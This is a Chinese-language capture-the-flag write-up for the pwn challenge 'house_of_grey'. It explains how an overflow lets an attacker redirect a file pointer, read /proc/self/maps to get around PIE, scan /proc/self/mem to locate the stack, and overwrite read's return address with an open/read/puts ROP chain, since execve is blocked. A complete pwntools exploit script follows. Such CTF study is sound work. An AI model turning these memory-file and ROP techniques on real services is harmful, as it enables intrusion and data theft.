0%

house_of_grey

首先,检查一下程序的保护机制,发现保护全开

然后,我们用IDA分析一下

发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取

程序有个缓冲区溢出漏洞

可以**[溢出,修改v8指针,然后我们就可以利用功能4,实现任意地址写]{.mark}**

由于可以读取除了flag之外的文件,那么我们可以读取/proc/self/maps文件

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。

那么,我们先来测试一下

我们得到了各个段的地址,由此,我们可以绕过PIE,以及利用/proc/self/mem来读取任意地址的内容。

为了确定本程序能否getshell,我们检测一下execve系统调用有没有被禁用

发现execve被禁用,那么我们就不能用system这些来getshell,我们可以构造ROP,把flag文件读取到内存中,再输出来。

然后,我们再看看程序

程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行,我们可以覆盖read函数的返回地址,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,我们就需要确定栈的地址。

但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,我们不知道程序的栈地址。但是,我们可以通过读取/proc/self/mem文件,来[搜索标记,已确定程序的栈地址。]{.mark}

而**[标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址,由此,我们就可以计算出其他的栈地址。]{.mark}**

那么,我们先来获取一些需要的地址信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
enterRoom()  
setPath('/proc/self/maps')
readSomething(2000)
sh.recvuntil('You get something:\n')
#解析程序的加载地址,以及mmap内存出的地址
elf_base = int(sh.recvuntil('-').split('-')[0],16)
pop_rdi = elf_base + pop_s_rdi
pop_rsi = elf_base + pop_s_rsi
open_addr = elf_base + open_s_plt
read_addr = elf_base + read_s_plt
puts_addr = elf_base + puts_s_plt

while True:
line = sh.recvline()
if 'heap' in line:
#接下来这一行就是mmap出的内存的信息
line = sh.recvline()
mmap_start = int(line.split('-')[0],16)
mmap_end = int(line.split('-')[1].split(' ')[0],16)
break

接下来,我们就需要读取/proc/self/mem来搜索内存,确定栈地址了

程序只能执行30次功能调用,之前已经用了4次,最后我们还需要用2次,那么我们搜索就最多24次,

而我们每次最多允许读取100000个字节的数据,由此,我们能搜索2400000个字节的内容,通过IDA调试,观察buf的栈地址,计算它与mmap_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,我们应该从mmap_end – x ~ mmap_end搜索,其中x是一个范围。

那么,我们就开始搜索吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#现在解析出clone的那个程序的stack地址  
stack_end = mmap_end
stack_start = mmap_start

#范围偏差
offset = 0xf800000
#区间范围begin_off~stack_end里搜索
begin_off = stack_end - offset - 24 * 100000
setPath('/proc/self/mem')
seekTo(begin_off)
print 'begin->',hex(begin_off),'to',hex(stack_end)
#在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
for i in range(0,24):
readSomething(100000)
content = sh.recvuntil('1.Find ')[:-7]
if '/proc/self/mem' in content:
print 'found!'
arr = content.split('/proc/self/mem')[0]
break
if i == 23:
print '未能成功确定v8的地址,请重试!'
exit(0)

#获得了v8的地址,可以将它里面的内容,实现任意地址写
v8_addr = begin_off + i * 100000 + len(arr) + 5
print 'v8 addr=',hex(v8_addr)
read_ret = v8_addr - 0x50

现在,得到了存放read的返回地址的栈地址,我们就可以写ROP了

1
2
3
4
5
6
7
8
9
10
11
#覆盖v8指针内容为存放read返回地址的栈地址  
payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
setPath(payload)
#接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
#我们打开的文件,描述符为6
rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
rop += '/home/ctf/flag\x00'

giveSomething(rop)

然后,我们就得到了flag

综上,我们的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#coding:utf8  
from pwn import *

sh = process('./pwnh35')
#sh = remote('111.198.29.45',37518)
elf = ELF('./pwnh35')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
open_s_plt = elf.plt['open']
read_s_plt = elf.plt['read']
puts_s_plt = elf.plt['puts']
#pop rdi
#pop r15
#retn
pop_s_rsi = 0x1821
#pop rdi
#retn
pop_s_rdi = 0x1823

def enterRoom():
sh.sendlineafter('Do you want to help me build my room? Y/n?\n','Y')

def setPath(content):
sh.sendlineafter('5.Exit\n','1')
sh.sendlineafter('So man, what are you finding?\n',content)

def seekTo(pos):
sh.sendlineafter('5.Exit\n','2')
sh.sendlineafter('So, Where are you?\n',str(pos))

def readSomething(length):
sh.sendlineafter('5.Exit\n','3')
sh.sendlineafter('How many things do you want to get?\n',str(length))

def giveSomething(content):
sh.sendlineafter('5.Exit\n','4')
sh.sendlineafter('content:',content)

enterRoom()
setPath('/proc/self/maps')
readSomething(2000)
sh.recvuntil('You get something:\n')
#解析程序的加载地址,以及mmap内存出的地址
elf_base = int(sh.recvuntil('-').split('-')[0],16)
pop_rdi = elf_base + pop_s_rdi
pop_rsi = elf_base + pop_s_rsi
open_addr = elf_base + open_s_plt
read_addr = elf_base + read_s_plt
puts_addr = elf_base + puts_s_plt

while True:
line = sh.recvline()
if 'heap' in line:
#接下来这一行就是mmap出的内存的信息
line = sh.recvline()
mmap_start = int(line.split('-')[0],16)
mmap_end = int(line.split('-')[1].split(' ')[0],16)
break

#现在解析出clone的那个程序的stack地址
stack_end = mmap_end
stack_start = mmap_start

#范围偏差
offset = 0xf800000
#区间范围begin_off~stack_end里搜索
begin_off = stack_end - offset - 24 * 100000
setPath('/proc/self/mem')
seekTo(begin_off)
print 'begin->',hex(begin_off),'to',hex(stack_end)
#在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
for i in range(0,24):
readSomething(100000)
content = sh.recvuntil('1.Find ')[:-7]
if '/proc/self/mem' in content:
print 'found!'
arr = content.split('/proc/self/mem')[0]
break
if i == 23:
print '未能成功确定v8的地址,请重试!'
exit(0)

#获得了v8的地址,可以将它里面的内容,实现任意地址写
v8_addr = begin_off + i * 100000 + len(arr) + 5
print 'v8 addr=',hex(v8_addr)
read_ret = v8_addr - 0x50
#覆盖v8指针内容为存放read返回地址的栈地址
payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
setPath(payload)
#接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
#我们打开的文件,描述符为6
rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
rop += '/home/ctf/flag\x00'

giveSomething(rop)

sh.interactive()

本题,我对maps和mem文件有了进一步的了解,其中maps文件里有程序的加载地址信息,mem是程序的内存映射。